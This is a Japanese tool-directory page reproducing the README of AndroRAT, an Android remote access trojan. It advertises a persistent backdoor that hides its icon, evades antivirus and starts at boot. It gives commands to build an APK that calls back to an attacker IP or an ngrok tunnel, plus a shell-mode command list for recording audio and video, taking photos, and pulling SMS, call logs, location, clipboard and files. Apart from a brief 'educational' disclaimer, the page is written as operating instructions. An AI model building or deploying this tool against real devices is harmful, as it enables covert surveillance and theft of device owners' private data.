Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
AndroRAT — ソケットを使用したシンプルなAndroidリモート管理ツール。クライアント側はJava、サーバー側はPythonで実装されています。 | Kitploit
ツール/GitHubGitHub/karma9874/androrat
Androidセキュリティペイロード生成永続化メカニズムモバイルアプリペンテストリバースエンジニアリングデータ流出ポストエクスプロイトコマンド&コントロールレッドチーミングリモートアクセストロイの木馬
GitHubkarma9874/androrat
5.2k1.7k22年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

AndroRAT

ソケットを使用したシンプルなAndroidリモート管理ツール。クライアント側はJava、サーバー側はPythonで実装されています。

リポジトリを見る

免責事項 : このソフトウェアは教育目的のみを意図しています。アプリの悪意ある使用について私は責任を負いません。

AndroRAT

MIT License Twitter Follow GitHub followers

AndroRATは、Androidシステムをリモートから制御し、そこから情報を取得するために設計されたツールです。AndroratはJava Androidで開発されたクライアント/サーバーアプリケーションで、クライアント側はJava Android、サーバー側はPythonで実装されています。

AndroRATはAndroid 4.1 (Jelly Bean)からAndroid 9.0 (Oreo)までのデバイス (API 16からAPI 28) で動作します

AndroRATはAndroid 10 (Q)でも動作しますが、一部のインタープリタコマンドは不安定になります。

スクリーンショット

AndroRAT

AndroRATの機能

  • 完全な永続型バックドア
  • あらゆるアンチウイルススキャナーで完全に検出不可能 VirusTotal
  • インストール時にアイコンが非表示
  • バックグラウンドで24時間365日動作する軽量なapk
  • 起動時にアプリが自動的に開始
  • 音声・動画の録音、両方のカメラからの写真撮影が可能
  • 通話履歴とSMS履歴の閲覧
  • 現在地、SIMカードの詳細、デバイスのIPアドレス、MACアドレスの取得

前提条件

AndroRATにはPython3とJAVA (またはAndroid Studio) が必要です

インストール

git clone https://github.com/karma9874/AndroRAT.git
cd AndroRAT
pip install -r requirements.txt

注記:

Windows 上で Git bash を使用してリポジトリをクローンすると、次のエラーが発生する場合があります:

error: unable to create file <filename>: Filename too long

これは、Git ではファイル名に 4096 文字の制限がありますが、Windows で Git が msys でコンパイルされている場合を除きます。msys は古いバージョンの Windows API を使用しており、ファイル名に 260 文字の制限があります。

これは core.longpaths を true に設定することで回避できます。

git config --system core.longpaths true

Git bash を管理者権限で実行する必要があります。

使用方法 (Windows および Linux)

  • アプリのコントロールパネルを表示するには *#*#1337#*#* をダイヤルします (現時点では Restart Activity と Uninstall の 2 つのオプションのみがあります)

注: 一部のデバイスでこの機能を使用するには、設定から display pop-up windows running in background オプションを有効にする必要があります。

利用可能なモード

  • --build - Android APK をビルドする場合
  • --ngrok - ngrok トンネルを使用する場合 (インターネット経由)
  • --shell - デバイスのインタラクティブシェルを取得する場合

build モード

Usage:
  python3 androRAT.py --build --ngrok [flags]
  Flags:
    -p, --port              Attacker port number (optional by default its set to 8000)
    -o, --output            Name for the apk file (optional by default its set to "karma.apk")
    -icon, --icon           Visible icon after installing apk (by default set to hidden)
Usage:
  python3 androRAT.py --build [flags]
  Flags:
    -i, --ip                Attacker IP address (required)
    -p, --port              Attacker port number (required)
    -o, --output            Name for the apk file (optional)
    -icon, --icon           Visible icon after installing apk (by default set to hidden)

または、Android Code フォルダを Android Studio にインポートして手動で apk をビルドすることもできます。config.java ファイル内の IP アドレスとポート番号を変更し、Android Studio -> Build -> Generate Signed APK(s) から署名済み apk を生成できます。

shell モード

Usage:
  python3 androRAT.py --shell [flags]
  Flags:
    -i, --ip                Listner IP address
    -p, --port              Listner port number

shell モードを実行すると、デバイスのインタプリタが得られます

インタプリタ上で実行できるコマンド

    deviceInfo                 --> returns basic info of the device
    camList                    --> returns cameraID  
    takepic [cameraID]         --> Takes picture from camera
    startVideo [cameraID]      --> starts recording the video
    stopVideo                  --> stop recording the video and return the video file
    startAudio                 --> starts recording the audio
    stopAudio                  --> stop recording the audio
    getSMS [inbox|sent]        --> returns inbox sms or sent sms in a file 
    getCallLogs                --> returns call logs in a file
    shell                      --> starts a sh shell of the device
    vibrate [number_of_times]  --> vibrate the device number of time
    getLocation                --> return the current location of the device
    getIP                      --> returns the ip of the device
    getSimDetails              --> returns the details of all sim of the device
    clear                      --> clears the screen
    getClipData                --> return the current saved text from the clipboard
    getMACAddress              --> returns the mac address of the device
    exit                       --> exit the interpreter

sh シェルにはいくつかのサブコマンドがあります

    get [full_file_path]        --> donwloads the file to the local machine (file size upto 15mb)
    put [filename]              --> uploads the file to the android device

例

  • ngrok を使用して apk をビルドすると、リスナーも設定されます: python3 androRAT.py --build --ngrok -o evil.apk

  • To build the apk using desired ip and port: python3 androRAT.py --build -i 192.169.x.x -p 8000 -o evil.apk

  • インタプリタを取得するには: python3 androRAT.py --shell -i 0.0.0.0 -p 8000

Interpreter Examples

  • Generating APK

------------------------------------------------------------------------------------------------------------------------------
  • Some interpreter Commands

------------------------------------------------------------------------------------------------------------------------------

Supporters:

rayep

TODO

  • Ngrok support
  • Set up multi client
  • Add screenshot command

License

AndroRAT is licensed under MIT license take a look at the LICENSE for more information.

ツールをダウンロード